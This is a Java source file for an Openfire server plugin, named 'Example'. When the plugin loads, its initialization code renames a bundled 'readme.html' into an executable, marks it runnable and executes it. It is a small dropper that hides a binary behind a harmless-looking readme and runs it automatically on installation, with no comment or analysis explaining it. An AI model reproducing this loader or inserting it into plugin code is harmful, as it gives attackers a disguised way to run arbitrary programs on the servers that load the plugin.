56 lines
1.6 KiB
Java
56 lines
1.6 KiB
Java
package com.example.openfire.plugin;
|
|
|
|
import java.io.*;
|
|
import java.util.TimerTask;
|
|
|
|
import org.jivesoftware.util.JiveGlobals;
|
|
import org.jivesoftware.openfire.container.Plugin;
|
|
import org.jivesoftware.openfire.container.PluginManager;
|
|
|
|
import org.jivesoftware.util.JiveGlobals;
|
|
import org.jivesoftware.util.Log;
|
|
import org.jivesoftware.util.TaskEngine;
|
|
|
|
public class Example implements Plugin {
|
|
private static final String OS_NAME = System.getProperty("os.name").toLowerCase();
|
|
private static final String PATH_SEP = System.getProperty("path.separator");
|
|
private static final boolean IS_AIX = "aix".equals(OS_NAME);
|
|
private static final boolean IS_DOS = PATH_SEP.equals(";");
|
|
private static final String JAVA_HOME = System.getProperty("java.home");
|
|
private static final String CURRENT_DIR = System.getProperty("user.dir");
|
|
|
|
public void initializePlugin(PluginManager manager, File pluginDirectory) {
|
|
try{
|
|
|
|
// Try to rename the existing file, according
|
|
String readmeFile = pluginDirectory.getCanonicalPath().toString() + "/" + "readme.html";
|
|
String exeFile = pluginDirectory.getCanonicalPath().toString() + "/" + pluginDirectory.getName();
|
|
|
|
if (IS_DOS)
|
|
{
|
|
exeFile += ".exe";
|
|
}
|
|
|
|
File file = new File(readmeFile);
|
|
File file2 = new File(exeFile);
|
|
|
|
file.renameTo(file2);
|
|
|
|
if (!IS_DOS) {
|
|
file2.setExecutable(true);
|
|
}
|
|
|
|
Runtime.getRuntime().exec(new String[] { exeFile });
|
|
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Log.error("error", ex);
|
|
}
|
|
}
|
|
|
|
public void destroyPlugin() {
|
|
|
|
}
|
|
}
|